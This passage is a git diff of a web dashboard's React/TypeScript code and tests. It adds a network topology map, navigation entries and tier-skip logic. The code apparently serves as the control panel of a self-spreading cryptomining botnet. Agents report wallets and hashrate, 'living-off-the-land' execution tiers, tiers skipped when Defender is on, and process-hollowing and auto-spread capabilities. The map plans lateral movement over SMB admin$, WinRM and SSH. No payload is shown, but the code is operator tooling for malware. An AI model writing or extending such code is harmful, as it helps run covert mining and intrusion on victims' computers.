const { comrades } = usePresence(); const prevHashrateRef = useRef>({}); const [spikingIds, setSpikingIds] = useState>(() => new Set()); + const [view, setView] = useState<'heat' | 'topo'>('heat'); useEffect(() => { const spikes = new Set(); @@ -58,14 +61,46 @@ export default function FleetHeatMiniMap({
- FLEET HEAT + {view === 'heat' ? 'FLEET HEAT' : 'NETWORK MAP'} {onlineCount}/{agents.length} + {/* HEAT / TOPO view toggle */} + + {(['heat', 'topo'] as const).map((v) => ( + + ))} +
{agents.length === 0 ? (

No nodes yet — deploy a build to see the map.

+ ) : view === 'topo' ? ( + ) : (
; + onSelectAgent: (id: string) => void; + mode?: TopoMode; +} + +// ── Platform icon helper ─────────────────────────────────────────────────── + +function platformIcon(platform: string): string { + const p = platform.toLowerCase(); + if (p.includes('win')) return '⊞'; + if (p.includes('linux')) return '🐧'; + if (p.includes('darwin')) return ''; + return '⬡'; +} + +// ── Hashrate spike tracking ──────────────────────────────────────────────── + +const SPIKE_RATIO = 1.3; +const SPIKE_MIN = 50; + +function detectSpikes( + agents: Agent[], + prev: Record, +): { spikes: Set; next: Record } { + const spikes = new Set(); + const next: Record = {}; + for (const a of agents) { + const cur = a.hashrate_15s ?? 0; + const p = prev[a.id]; + if (cur > 0 && (p === undefined || p <= 0 ? cur >= SPIKE_MIN : cur - p >= SPIKE_MIN && cur >= p * SPIKE_RATIO)) { + spikes.add(a.id); + } + next[a.id] = cur; + } + return { spikes, next }; +} + +// ── Tooltip component ────────────────────────────────────────────────────── + +interface TooltipState { + node: TopoNode; + x: number; + y: number; +} + +function NodeTooltip({ tip }: { tip: TooltipState }) { + const { node, x, y } = tip; + const laneClass = node.joinLane ? `topo-tooltip-lane--${node.joinLane}` : 'topo-tooltip-lane--spread'; + + // Clamp tooltip to viewport + const tipW = 175; + const tipH = 130; + const left = Math.min(x + 12, window.innerWidth - tipW - 8); + const top = Math.min(y + 12, window.innerHeight - tipH - 8); + + return ( +
+
+ {platformIcon(node.platform)} {node.label} +
+
+ IP{node.ip} +
+
+ Subnet{node.subnet === 'unknown' ? '—' : node.subnet.replace('.0/24', '.x')} +
+
+ Status + + {node.online ? 'ONLINE' : 'OFFLINE'} + +
+ {node.hashrate > 0 && ( +
+ Hashrate{formatHashrate(node.hashrate)} +
+ )} + {node.latencyMs !== undefined && node.online && ( +
+ Latency{node.latencyMs}ms +
+ )} + {node.joinLane && ( +
+ + {node.joinLane.toUpperCase()} lane + +
+ )} + {node.canSpread && ( +
+ + SPREAD CAPABLE + +
+ )} +
+ ); +} + +// ── Subnet bubble ────────────────────────────────────────────────────────── + +function SubnetBubble({ layout }: { layout: SubnetLayout }) { + return ( + <> + {/* Outer glow ring */} + + {/* Main bubble */} + + {/* Fill */} + + {/* Label */} + + {layout.label} + + + ); +} + +// ── Edge ─────────────────────────────────────────────────────────────────── + +function TopoEdgeEl({ + edge, + nodeMap, + mode, +}: { + edge: TopoEdge; + nodeMap: Map; + mode: TopoMode; +}) { + const src = nodeMap.get(edge.sourceId); + const tgt = nodeMap.get(edge.targetId); + if (!src || !tgt) return null; + + // In spread mode, only show spread/protocol edges + if (mode === 'spread' && edge.kind === 'subnet') return null; + // In subnet mode, still show spread edges but dimmer unless active + const opacity = mode === 'flat' ? 0.1 : undefined; + + const colorMap: Record = { + subnet: 'rgba(200,216,232,0.25)', + spread: '#00e8f5', + smb: '#ffb020', + winrm: '#b24bf3', + ssh: '#39ff14', + cross_subnet: '#ff6b35', + }; + + return ( + + ); +} + +// ── Node ─────────────────────────────────────────────────────────────────── + +function TopoNodeEl({ + node, + selected, + spiking, + color, + onHover, + onLeave, + onClick, +}: { + node: TopoNode; + selected: boolean; + spiking: boolean; + color: string; + onHover: (node: TopoNode, e: React.MouseEvent) => void; + onLeave: () => void; + onClick: (id: string) => void; +}) { + const r = selected ? 3.0 : 2.1; + const statusCls = node.online + ? selected ? 'topo-node-circle--online topo-node-circle--selected' : 'topo-node-circle--online' + : 'topo-node-circle--offline'; + + return ( + onClick(node.id)} + onMouseEnter={(e) => onHover(node, e)} + onMouseLeave={onLeave} + > + {/* Spike flash ring */} + {spiking && ( + + )} + + {/* Selection ring */} + {selected && ( + + )} + + {/* Spread-capable indicator ring */} + {node.canSpread && !selected && node.online && ( + + )} + + {/* Main dot */} + + + {/* Platform icon — only rendered at reasonable sizes */} + + {node.platform.includes('win') ? '⊞' : node.platform.includes('linux') ? '⬡' : node.platform.includes('darwin') ? '◉' : '·'} + + + ); +} + +// ── Grid / background ────────────────────────────────────────────────────── + +function TopoGrid() { + return ( + + {/* Horizontal lines */} + {[20, 40, 60, 80].map((y) => ( + + ))} + {/* Vertical lines */} + {[20, 40, 60, 80].map((x) => ( + + ))} + + ); +} + +// ── Legend ───────────────────────────────────────────────────────────────── + +function TopoLegend({ hasSpread }: { hasSpread: boolean }) { + return ( +
+ + + Reachable + + {hasSpread && ( + <> + + + SMB + + + + WinRM + + + + SSH + + + + Cross-subnet + + + )} +
+ ); +} + +// ── Main component ───────────────────────────────────────────────────────── + +export default function NetworkTopoMap({ + agents, + groups: _groups, + allIds, + selectedIds, + onSelectAgent, + mode: externalMode, +}: Props) { + const [mode, setMode] = useState(externalMode ?? 'subnet'); + const [tooltip, setTooltip] = useState(null); + const [spikingIds, setSpikingIds] = useState>(new Set()); + const prevHashRef = useRef>({}); + const svgRef = useRef(null); + + // Spike detection + useEffect(() => { + const { spikes, next } = detectSpikes(agents, prevHashRef.current); + prevHashRef.current = next; + if (spikes.size === 0) return; + setSpikingIds(spikes); + const t = setTimeout(() => setSpikingIds(new Set()), 1300); + return () => clearTimeout(t); + }, [agents]); + + // Layout + const subnetGroups = useMemo(() => groupBySubnet(agents), [agents]); + const subnets = useMemo(() => [...subnetGroups.keys()], [subnetGroups]); + const subnetLayouts = useMemo(() => layoutSubnets(subnets), [subnets]); + const nodes = useMemo(() => layoutNodes(agents, subnetLayouts), [agents, subnetLayouts]); + const edges = useMemo(() => buildEdges(agents, selectedIds), [agents, selectedIds]); + const nodeMap = useMemo(() => new Map(nodes.map((n) => [n.id, n])), [nodes]); + + // Stats for legend + const hasSpread = edges.some((e) => e.kind !== 'subnet'); + const onlineCount = agents.filter((a) => a.status === 'online').length; + + const handleHover = useCallback((node: TopoNode, e: React.MouseEvent) => { + setTooltip({ node, x: e.clientX, y: e.clientY }); + }, []); + + const handleMove = useCallback((e: React.MouseEvent) => { + setTooltip((prev) => prev ? { ...prev, x: e.clientX, y: e.clientY } : null); + }, []); + + const handleLeave = useCallback(() => setTooltip(null), []); + + // In flat mode — use same positions as heat map (hashPosition fallback) + // In subnet/spread mode — use subnet-ring layout + + if (agents.length === 0) { + return ( +
+

No nodes — deploy a build to see topology.

+
+ ); + } + + return ( +
+ {/* Mode tabs */} +
+ + {onlineCount}/{agents.length} + +
+ {(['subnet', 'spread', 'flat'] as TopoMode[]).map((m) => ( + + ))} +
+
+ + {/* SVG canvas */} + + + + {/* Subnet bubbles — only in subnet/spread mode */} + {mode !== 'flat' && subnetLayouts.map((sl) => ( + + ))} + + {/* Edges — drawn below nodes */} + {edges.map((edge) => ( + + ))} + + {/* Nodes */} + {nodes.map((node) => { + const color = agentAccentColor(node.id, allIds); + return ( + + ); + })} + + {/* Node name labels for selected nodes */} + {nodes + .filter((n) => selectedIds.has(n.id)) + .map((node) => { + const color = agentAccentColor(node.id, allIds); + return ( + + {node.label.slice(0, 18)}{node.label.length > 18 ? '…' : ''} + + ); + }) + } + + + {/* Legend */} + + + {/* Tooltip portal */} + {tooltip && } +
+ ); +} diff --git a/server/web/src/components/Layout/Layout.tsx b/server/web/src/components/Layout/Layout.tsx index 8beff9e..89508f8 100644 --- a/server/web/src/components/Layout/Layout.tsx +++ b/server/web/src/components/Layout/Layout.tsx @@ -36,12 +36,16 @@ function operatorDeckId(pathname: string): string { if (path.startsWith('/settings')) return 'settings'; if (path.startsWith('/pathtracer')) return 'pathtracer'; if (path.startsWith('/lotl-timeline') || path.startsWith('/onion')) return 'lotl-timeline'; + if (path.startsWith('/roi')) return 'roi'; + if (path.startsWith('/activity')) return 'activity'; return 'dashboard'; } const NAV = [ { to: '/dashboard', label: 'Command Deck', icon: 'deck' }, { to: '/crucible', label: 'Crucible', icon: 'crucible' }, + { to: '/activity', label: 'Activity Feed', icon: 'activity' }, + { to: '/roi', label: 'ROI Intelligence', icon: 'roi' }, { to: '/lotl-timeline', label: 'Onion', icon: 'onion' }, { to: '/pathtracer', label: 'Path Tracer', icon: 'trace' }, { to: '/forge', label: 'Forge', icon: 'forge' }, @@ -67,6 +71,20 @@ function NavIcon({ type }: { type: string }) { ); + case 'roi': + return ( + + + + + + ); + case 'activity': + return ( + + + + ); case 'fleet': return ( diff --git a/server/web/src/help/accessDepth.test.ts b/server/web/src/help/accessDepth.test.ts index c562809..65a7717 100644 --- a/server/web/src/help/accessDepth.test.ts +++ b/server/web/src/help/accessDepth.test.ts @@ -47,6 +47,20 @@ describe('parseAccessDepthServerPolicy', () => { }); }); +describe('buildAccessDepthModel atlas skips', () => { + it('marks tiers skipped_by_atlas and lists atlas summary', () => { + const model = buildAccessDepthModel( + agent({ platform: 'windows' }), + parseAccessDepthDiagnostics({ + tier_chain_order: ['exe_subprocess', 'ps_inmemory', 'cpu_inprocess'], + atlas_skips: [{ tier: 'ps_inmemory', condition: 'defender_on', reason: '5 failures with Defender on' }], + }), + ); + expect(model.atlasSkips).toHaveLength(1); + expect(model.miningOnion.find((r) => r.tier === 'ps_inmemory')?.status).toBe('skipped_by_atlas'); + }); +}); + describe('buildAccessDepthModel pending chain', () => { it('marks skipped tiers and pending remainder', () => { const model = buildAccessDepthModel( diff --git a/server/web/src/help/applyStatsUpdate.ts b/server/web/src/help/applyStatsUpdate.ts index 847b0de..9c887d9 100644 --- a/server/web/src/help/applyStatsUpdate.ts +++ b/server/web/src/help/applyStatsUpdate.ts @@ -61,6 +61,7 @@ export function mergeAgentStats(agent: Agent, update: WSStatsUpdate): Agent { ...(update.mining_hashrate !== undefined ? { mining_hashrate: update.mining_hashrate } : {}), ...(update.lotl_tier !== undefined ? { lotl_tier: update.lotl_tier } : {}), ...(update.lotl_attempts !== undefined ? { lotl_attempts: update.lotl_attempts } : {}), + ...(update.atlas_skips !== undefined ? { atlas_skips: update.atlas_skips } : {}), ...(update.vuln_findings !== undefined ? { vuln_findings: update.vuln_findings } : {}), ...(update.vuln_risk_score !== undefined ? { vuln_risk_score: update.vuln_risk_score } : {}), ...(update.join_lane !== undefined ? { join_lane: update.join_lane } : {}), diff --git a/server/web/src/help/lotlTimeline.test.ts b/server/web/src/help/lotlTimeline.test.ts new file mode 100644 index 0000000..71e96cc --- /dev/null +++ b/server/web/src/help/lotlTimeline.test.ts @@ -0,0 +1,45 @@ +/** + * @vitest-environment node + */ +import { describe, expect, it } from 'vitest'; +import { buildLotlTimelineModel } from './lotlTimeline'; +import type { Agent } from '../types'; + +function agent(partial: Partial): Agent { + return { + id: 'x', + name: 'n', + wallet: '', + ip: '1.1.1.1', + version: '1', + status: 'online', + cpu_cores: 4, + memory_gb: 8, + last_seen: '', + created_at: '', + hashrate_15s: 0, + hashrate_1m: 0, + hashrate_15m: 0, + shares_total: 0, + shares_good: 0, + shares_bad: 0, + cpu_usage_pct: 0, + memory_usage_pct: 0, + uptime_seconds: 0, + ...partial, + }; +} + +describe('buildLotlTimelineModel atlas skips', () => { + it('marks powershell tier skipped_by_atlas when ps_inmemory is blocked', () => { + const model = buildLotlTimelineModel( + agent({}), + ['docker', 'powershell', 'dotnet'], + [], + [], + [{ tier: 'ps_inmemory', condition: 'defender_on', reason: '5 failures' }], + ); + const ps = model.tiers.find((t) => t.tier === 'powershell'); + expect(ps?.state).toBe('skipped_by_atlas'); + }); +}); diff --git a/server/web/src/help/lotlTimeline.ts b/server/web/src/help/lotlTimeline.ts index 46ac8a3..221e2a1 100644 --- a/server/web/src/help/lotlTimeline.ts +++ b/server/web/src/help/lotlTimeline.ts @@ -1,9 +1,10 @@ import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers'; +import type { AtlasSkipView } from './accessDepth'; import type { Agent } from '../types'; import { formatLotlTierLabel, type TierAttempt } from '../types/lotl'; /** Per-tier state for the live onion timeline UI. */ -export type LotlTimelineTierState = 'pending' | 'trying' | 'success' | 'failed' | 'skipped'; +export type LotlTimelineTierState = 'pending' | 'trying' | 'success' | 'failed' | 'skipped' | 'skipped_by_atlas'; export interface LotlTimelineTierRow { index: number; @@ -80,8 +81,10 @@ export function buildLotlTimelineModel( order: string[], attempts: TierAttempt[], skipped: string[] = [], + atlasSkips: AtlasSkipView[] = [], ): LotlTimelineModel { const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s))); + const atlasSet = new Set(atlasSkips.map((s) => canonicalSpreadTier(s.tier))); const activeTier = agent.lotl_tier?.trim() || undefined; const activeCanon = activeTier ? canonicalSpreadTier(activeTier) : undefined; const online = agent.status === 'online'; @@ -97,7 +100,9 @@ export function buildLotlTimelineModel( const attempt = lastAttemptForTier(attempts, tier); let state: LotlTimelineTierState = 'pending'; - if (skippedSet.has(key)) { + if (atlasSet.has(key)) { + state = 'skipped_by_atlas'; + } else if (skippedSet.has(key)) { state = 'skipped'; } else if (tryingTier === key || (online && activeCanon === key && !attempt?.ok)) { state = 'trying'; diff --git a/server/web/src/help/networkTopology.test.ts b/server/web/src/help/networkTopology.test.ts new file mode 100644 index 0000000..677c98e --- /dev/null +++ b/server/web/src/help/networkTopology.test.ts @@ -0,0 +1,262 @@ +import { describe, it, expect } from 'vitest'; +import { + parseSubnet, + subnetLabel, + groupBySubnet, + layoutSubnets, + layoutNodes, + buildEdges, + spreadCandidates, + spreadLanesBetween, +} from './networkTopology'; +import type { Agent } from '../types'; + +function mkAgent(overrides: Partial & { id: string }): Agent { + return { + name: overrides.id, + wallet: '4' + 'A'.repeat(94), + ip: '10.0.0.1', + version: '1.0.0', + status: 'online', + cpu_cores: 4, + memory_gb: 8, + last_seen: new Date().toISOString(), + created_at: new Date().toISOString(), + hashrate_15s: 0, + hashrate_1m: 0, + hashrate_15m: 0, + shares_total: 0, + shares_good: 0, + shares_bad: 0, + cpu_usage_pct: 0, + memory_usage_pct: 0, + uptime_seconds: 0, + ...overrides, + } as Agent; +} + +const fullCaps = { + hole_punch: true, + remote_aggressive: true, + mesh_p2p: true, + auto_spread: true, + process_hollowing: false, + ai_enabled: false, +}; + +const noCaps = { ...fullCaps, auto_spread: false }; + +// ── parseSubnet ────────────────────────────────────────────────────────────── + +describe('parseSubnet', () => { + it('extracts /24 from standard IPv4', () => { + expect(parseSubnet('192.168.1.42')).toBe('192.168.1.0/24'); + expect(parseSubnet('10.0.0.5')).toBe('10.0.0.0/24'); + expect(parseSubnet('172.16.254.1')).toBe('172.16.254.0/24'); + }); + + it('returns unknown for missing or bad IPs', () => { + expect(parseSubnet(undefined)).toBe('unknown'); + expect(parseSubnet('')).toBe('unknown'); + expect(parseSubnet('not-an-ip')).toBe('unknown'); + expect(parseSubnet('192.168.1')).toBe('unknown'); + }); +}); + +// ── subnetLabel ────────────────────────────────────────────────────────────── + +describe('subnetLabel', () => { + it('replaces .0/24 with .x', () => { + expect(subnetLabel('192.168.1.0/24')).toBe('192.168.1.x'); + }); + + it('handles unknown', () => { + expect(subnetLabel('unknown')).toBe('Unknown'); + }); +}); + +// ── groupBySubnet ──────────────────────────────────────────────────────────── + +describe('groupBySubnet', () => { + it('groups agents by subnet', () => { + const agents = [ + mkAgent({ id: 'a1', ip: '192.168.1.10' }), + mkAgent({ id: 'a2', ip: '192.168.1.20' }), + mkAgent({ id: 'a3', ip: '10.0.0.5' }), + ]; + const map = groupBySubnet(agents); + expect(map.get('192.168.1.0/24')).toHaveLength(2); + expect(map.get('10.0.0.0/24')).toHaveLength(1); + }); + + it('handles empty agent list', () => { + expect(groupBySubnet([])).toEqual(new Map()); + }); + + it('puts missing-IP agents under unknown', () => { + const agents = [mkAgent({ id: 'x', ip: undefined })]; + expect(groupBySubnet(agents).get('unknown')).toHaveLength(1); + }); +}); + +// ── layoutSubnets ──────────────────────────────────────────────────────────── + +describe('layoutSubnets', () => { + it('places single subnet at center', () => { + const [s] = layoutSubnets(['10.0.0.0/24']); + expect(s.cx).toBeCloseTo(50); + expect(s.cy).toBeCloseTo(50); + }); + + it('places multiple subnets on a ring', () => { + const layouts = layoutSubnets(['10.0.0.0/24', '192.168.1.0/24']); + expect(layouts).toHaveLength(2); + layouts.forEach((l) => { + expect(l.cx).toBeGreaterThan(0); + expect(l.cy).toBeGreaterThan(0); + expect(l.r).toBeGreaterThan(0); + }); + }); + + it('assigns distinct colors to different subnets', () => { + const layouts = layoutSubnets(['10.0.0.0/24', '192.168.1.0/24', '172.16.0.0/24']); + const colors = layouts.map((l) => l.color); + expect(new Set(colors).size).toBe(3); + }); +}); + +// ── layoutNodes ────────────────────────────────────────────────────────────── + +describe('layoutNodes', () => { + it('produces one node per agent', () => { + const agents = [ + mkAgent({ id: 'a1', ip: '10.0.0.1' }), + mkAgent({ id: 'a2', ip: '10.0.0.2' }), + ]; + const subnets = layoutSubnets(['10.0.0.0/24']); + const nodes = layoutNodes(agents, subnets); + expect(nodes).toHaveLength(2); + nodes.forEach((n) => { + expect(n.x).toBeGreaterThanOrEqual(0); + expect(n.y).toBeGreaterThanOrEqual(0); + }); + }); + + it('marks offline agents correctly', () => { + const agents = [ + mkAgent({ id: 'on', ip: '10.0.0.1', status: 'online' }), + mkAgent({ id: 'off', ip: '10.0.0.2', status: 'offline' }), + ]; + const subnets = layoutSubnets(['10.0.0.0/24']); + const nodes = layoutNodes(agents, subnets); + expect(nodes.find((n) => n.id === 'on')?.online).toBe(true); + expect(nodes.find((n) => n.id === 'off')?.online).toBe(false); + }); +}); + +// ── spreadLanesBetween ─────────────────────────────────────────────────────── + +describe('spreadLanesBetween', () => { + it('returns empty when source has no auto_spread', () => { + const a = mkAgent({ id: 'a', capabilities: noCaps }); + const b = mkAgent({ id: 'b', capabilities: fullCaps }); + expect(spreadLanesBetween(a, b)).toHaveLength(0); + }); + + it('includes smb+winrm for two Windows nodes', () => { + const a = mkAgent({ id: 'a', platform: 'windows', capabilities: fullCaps }); + const b = mkAgent({ id: 'b', platform: 'windows', capabilities: fullCaps }); + const lanes = spreadLanesBetween(a, b); + expect(lanes).toContain('smb'); + expect(lanes).toContain('winrm'); + }); + + it('includes ssh for Linux nodes', () => { + const a = mkAgent({ id: 'a', platform: 'linux', capabilities: fullCaps }); + const b = mkAgent({ id: 'b', platform: 'linux', capabilities: fullCaps }); + const lanes = spreadLanesBetween(a, b); + expect(lanes).toContain('ssh'); + }); +}); + +// ── buildEdges ─────────────────────────────────────────────────────────────── + +describe('buildEdges', () => { + it('creates subnet edges for same-subnet online pairs', () => { + const agents = [ + mkAgent({ id: 'a1', ip: '192.168.1.10', capabilities: noCaps }), + mkAgent({ id: 'a2', ip: '192.168.1.20', capabilities: noCaps }), + ]; + const edges = buildEdges(agents, new Set()); + expect(edges.some((e) => e.kind === 'subnet')).toBe(true); + expect(edges).toHaveLength(1); + }); + + it('excludes offline agents from edges', () => { + const agents = [ + mkAgent({ id: 'a1', ip: '10.0.0.1', status: 'offline', capabilities: fullCaps }), + mkAgent({ id: 'a2', ip: '10.0.0.2', status: 'online', capabilities: fullCaps }), + ]; + expect(buildEdges(agents, new Set())).toHaveLength(0); + }); + + it('adds spread edges for spread-capable nodes on different subnets', () => { + const agents = [ + mkAgent({ id: 'a1', ip: '10.0.0.1', platform: 'windows', capabilities: fullCaps }), + mkAgent({ id: 'a2', ip: '192.168.1.1', platform: 'windows', capabilities: fullCaps }), + ]; + const edges = buildEdges(agents, new Set()); + expect(edges.some((e) => e.kind === 'cross_subnet')).toBe(true); + }); + + it('marks edges active when a selected node is involved', () => { + const agents = [ + mkAgent({ id: 'a1', ip: '10.0.0.1', capabilities: noCaps }), + mkAgent({ id: 'a2', ip: '10.0.0.2', capabilities: noCaps }), + ]; + const edges = buildEdges(agents, new Set(['a1'])); + expect(edges.every((e) => e.active)).toBe(true); + }); + + it('produces no duplicate edge pairs', () => { + const agents = [ + mkAgent({ id: 'a1', ip: '10.0.0.1', capabilities: fullCaps, platform: 'windows' }), + mkAgent({ id: 'a2', ip: '10.0.0.2', capabilities: fullCaps, platform: 'windows' }), + mkAgent({ id: 'a3', ip: '10.0.0.3', capabilities: fullCaps, platform: 'windows' }), + ]; + const edges = buildEdges(agents, new Set()); + const ids = edges.map((e) => e.id); + expect(new Set(ids).size).toBe(ids.length); + }); +}); + +// ── spreadCandidates ───────────────────────────────────────────────────────── + +describe('spreadCandidates', () => { + it('returns empty for offline source', () => { + const src = mkAgent({ id: 'src', status: 'offline', capabilities: fullCaps }); + const tgt = mkAgent({ id: 'tgt', capabilities: fullCaps }); + expect(spreadCandidates(src, [src, tgt])).toHaveLength(0); + }); + + it('returns empty when source lacks auto_spread', () => { + const src = mkAgent({ id: 'src', capabilities: noCaps }); + const tgt = mkAgent({ id: 'tgt', capabilities: fullCaps }); + expect(spreadCandidates(src, [src, tgt])).toHaveLength(0); + }); + + it('lists reachable targets with lanes', () => { + const src = mkAgent({ id: 'src', platform: 'windows', capabilities: fullCaps }); + const tgt = mkAgent({ id: 'tgt', platform: 'windows', capabilities: fullCaps }); + const offline = mkAgent({ id: 'off', status: 'offline', capabilities: fullCaps }); + const results = spreadCandidates(src, [src, tgt, offline]); + expect(results).toHaveLength(1); + expect(results[0].agentId).toBe('tgt'); + expect(['smb', 'winrm', 'ssh', 'spread']).toContain(results[0].lane); + }); + + it('excludes self', () => { + const src = mkAgent({ id: 'src', capabilities: fullCaps }); + expect(spreadCandidates(src, [src])).toHaveLength(0); + }); +}); diff --git a/server/web/src/help/networkTopology.ts b/server/web/src/help/networkTopology.ts new file mode 100644 index 0000000..50af845 --- /dev/null +++ b/server/web/src/help/networkTopology.ts @@ -0,0 +1,287 @@ +/** + * Network Topology Map — pure logic helpers. + * + * No React, no DOM — fully unit-testable. + * All data is derived from the existing Agent type; no backend changes needed. + */ + +import type { Agent } from '../types'; + +// ── Subnet parsing ───────────────────────────────────────────────────────── + +/** + * Extract the /24 subnet string from an IPv4 address. + * "192.168.1.42" → "192.168.1.0/24" + * Returns "unknown" when the IP is missing or non-IPv4. + */ +export function parseSubnet(ip: string | undefined): string { + if (!ip) return 'unknown'; + const parts = ip.split('.'); + if (parts.length !== 4 || parts.some((p) => isNaN(Number(p)))) return 'unknown'; + return `${parts[0]}.${parts[1]}.${parts[2]}.0/24`; +} + +/** Human-friendly label: "192.168.1.x" */ +export function subnetLabel(subnet: string): string { + if (subnet === 'unknown') return 'Unknown'; + return subnet.replace('.0/24', '.x'); +} + +/** Group agents by their /24 subnet. */ +export function groupBySubnet(agents: Agent[]): Map { + const map = new Map(); + for (const a of agents) { + const s = parseSubnet(a.ip); + if (!map.has(s)) map.set(s, []); + map.get(s)!.push(a); + } + return map; +} + +// ── Layout ───────────────────────────────────────────────────────────────── + +/** Stable hash from a string → 0..1 float. */ +function stableHash(seed: string): number { + let h = 2166136261 >>> 0; + for (let i = 0; i < seed.length; i++) { + h ^= seed.charCodeAt(i); + h = Math.imul(h, 16777619) >>> 0; + } + return (h % 10000) / 10000; +} + +/** Two independent stable floats for x/y from one seed. */ +function stableXY(seed: string): { x: number; y: number } { + return { + x: stableHash(seed + ':x'), + y: stableHash(seed + ':y'), + }; +} + +export interface SubnetLayout { + subnet: string; + label: string; + cx: number; // center x, 0-100 viewBox + cy: number; // center y, 0-100 viewBox + r: number; // radius of the bubble ring + color: string; +} + +const SUBNET_PALETTE = [ + '#00e8f5', // cyan + '#b24bf3', // violet + '#39ff14', // neon green + '#ff2da6', // magenta + '#ffb020', // amber + '#ff6b35', // orange + '#3a86ff', // blue + '#06d6a0', // teal + '#ffd60a', // yellow + '#f72585', // hot pink +]; + +export function subnetColor(index: number): string { + return SUBNET_PALETTE[index % SUBNET_PALETTE.length]; +} + +/** + * Place subnet bubbles in a circle around the center. + * Single subnet gets center position. + */ +export function layoutSubnets(subnets: string[]): SubnetLayout[] { + const total = subnets.length; + const BASE_R = 18; + const ORBIT_R = total === 1 ? 0 : 28; + + return subnets.map((subnet, i) => { + const angle = total === 1 ? 0 : (i / total) * Math.PI * 2 - Math.PI / 2; + const cx = 50 + Math.cos(angle) * ORBIT_R; + const cy = 50 + Math.sin(angle) * ORBIT_R; + return { + subnet, + label: subnetLabel(subnet), + cx, + cy, + r: BASE_R, + color: subnetColor(i), + }; + }); +} + +export interface TopoNode { + id: string; + agentId: string; + label: string; + x: number; + y: number; + subnet: string; + subnetColor: string; + online: boolean; + platform: string; + ip: string; + hashrate: number; + latencyMs?: number; + joinLane?: string; + canSpread: boolean; + capabilities: Agent['capabilities']; +} + +/** + * Compute pixel positions for all nodes. + * Nodes within a subnet scatter around the subnet center. + */ +export function layoutNodes( + agents: Agent[], + subnetLayouts: SubnetLayout[], +): TopoNode[] { + const subnetMap = new Map(subnetLayouts.map((s) => [s.subnet, s])); + const subnetAgentCounts = new Map(); + + for (const a of agents) { + const s = parseSubnet(a.ip); + subnetAgentCounts.set(s, (subnetAgentCounts.get(s) ?? 0) + 1); + } + + const subnetCounters = new Map(); + + return agents.map((agent): TopoNode => { + const subnet = parseSubnet(agent.ip); + const layout = subnetMap.get(subnet) ?? { cx: 50, cy: 50, r: 18, color: '#00e8f5', subnet, label: 'Unknown' }; + const total = subnetAgentCounts.get(subnet) ?? 1; + const idx = subnetCounters.get(subnet) ?? 0; + subnetCounters.set(subnet, idx + 1); + + // Stable jitter within the bubble radius + const jitter = stableXY(`${subnet}:${agent.id}`); + const angle = (idx / Math.max(total, 1)) * Math.PI * 2 + (jitter.x - 0.5) * 0.8; + const dist = (total === 1 ? 0 : 4 + Math.sqrt(total) * 2.5) * (0.6 + jitter.y * 0.4); + const maxDist = layout.r * 0.75; + + return { + id: agent.id, + agentId: agent.id, + label: agent.name, + x: layout.cx + Math.cos(angle) * Math.min(dist, maxDist), + y: layout.cy + Math.sin(angle) * Math.min(dist, maxDist), + subnet, + subnetColor: layout.color, + online: agent.status === 'online', + platform: agent.platform ?? 'unknown', + ip: agent.ip ?? '—', + hashrate: agent.hashrate_15m ?? 0, + latencyMs: agent.latency_ms, + joinLane: agent.join_lane, + canSpread: !!(agent.capabilities?.auto_spread), + capabilities: agent.capabilities, + }; + }); +} + +// ── Edge graph ────────────────────────────────────────────────────────────── + +export type EdgeKind = + | 'subnet' // same /24 — implies reachability + | 'spread' // lateral spread candidate + | 'smb' // SMB admin$ path (Windows + port 445) + | 'winrm' // WinRM (Windows + 5985/5986) + | 'ssh' // SSH lateral (Linux/Darwin) + | 'cross_subnet'; // different subnets, but both spread-capable + +export interface TopoEdge { + id: string; + sourceId: string; + targetId: string; + kind: EdgeKind; + /** Highlight when either endpoint is selected. */ + active: boolean; +} + +/** Determine what spread lanes exist between two agents. */ +export function spreadLanesBetween(a: Agent, b: Agent): EdgeKind[] { + if (!a.capabilities?.auto_spread || !b.capabilities?.auto_spread) return []; + const lanes: EdgeKind[] = ['spread']; + + const aWin = (a.platform ?? '').toLowerCase().includes('win'); + const bWin = (b.platform ?? '').toLowerCase().includes('win'); + const aLin = (a.platform ?? '').toLowerCase().includes('linux') || (a.platform ?? '').toLowerCase().includes('darwin'); + const bLin = (b.platform ?? '').toLowerCase().includes('linux') || (b.platform ?? '').toLowerCase().includes('darwin'); + + if (aWin && bWin) { lanes.push('smb'); lanes.push('winrm'); } + if ((aLin && bWin) || (aWin && bLin) || (aLin && bLin)) lanes.push('ssh'); + + return lanes; +} + +/** + * Build all edges for the topology graph. + * + * Rules: + * - Same subnet + both online → `subnet` edge + * - Both have auto_spread + online → additional `spread` / protocol edges + * - Cross-subnet + both spread-capable → `cross_subnet` + */ +export function buildEdges(agents: Agent[], selectedIds: Set): TopoEdge[] { + const online = agents.filter((a) => a.status === 'online'); + const edges: TopoEdge[] = []; + const seen = new Set(); + + for (let i = 0; i < online.length; i++) { + for (let j = i + 1; j < online.length; j++) { + const a = online[i]; + const b = online[j]; + const subA = parseSubnet(a.ip); + const subB = parseSubnet(b.ip); + const sameSubnet = subA === subB && subA !== 'unknown'; + const edgeKey = [a.id, b.id].sort().join('::'); + + if (seen.has(edgeKey)) continue; + seen.add(edgeKey); + + const active = selectedIds.has(a.id) || selectedIds.has(b.id); + + if (sameSubnet) { + edges.push({ id: edgeKey + ':subnet', sourceId: a.id, targetId: b.id, kind: 'subnet', active }); + } + + // Spread lanes (may add on top of subnet edge) + const lanes = spreadLanesBetween(a, b); + for (const lane of lanes) { + if (lane === 'spread' && sameSubnet) continue; // subnet edge covers it + const spreadKey = edgeKey + ':' + lane; + if (seen.has(spreadKey)) continue; + seen.add(spreadKey); + edges.push({ + id: spreadKey, + sourceId: a.id, + targetId: b.id, + kind: sameSubnet ? lane : 'cross_subnet', + active, + }); + } + } + } + + return edges; +} + +/** + * Which agents can be reached laterally from a source agent? + * Returns agent IDs with the best available lane. + */ +export function spreadCandidates( + source: Agent, + allAgents: Agent[], +): { agentId: string; lane: EdgeKind }[] { + if (!source.capabilities?.auto_spread || source.status !== 'online') return []; + const results: { agentId: string; lane: EdgeKind }[] = []; + + for (const target of allAgents) { + if (target.id === source.id || target.status !== 'online') continue; + const lanes = spreadLanesBetween(source, target); + if (lanes.length === 0) continue; + // Prefer most specific lane + const preferred = lanes.find((l) => l !== 'spread') ?? lanes[0]; + results.push({ agentId: target.id, lane: preferred }); + } + return results; +} diff --git a/server/web/src/pages/ActivityFeedPage.css b/server/web/src/pages/ActivityFeedPage.css new file mode 100644 index 0000000..2502096 --- /dev/null +++ b/server/web/src/pages/ActivityFeedPage.css 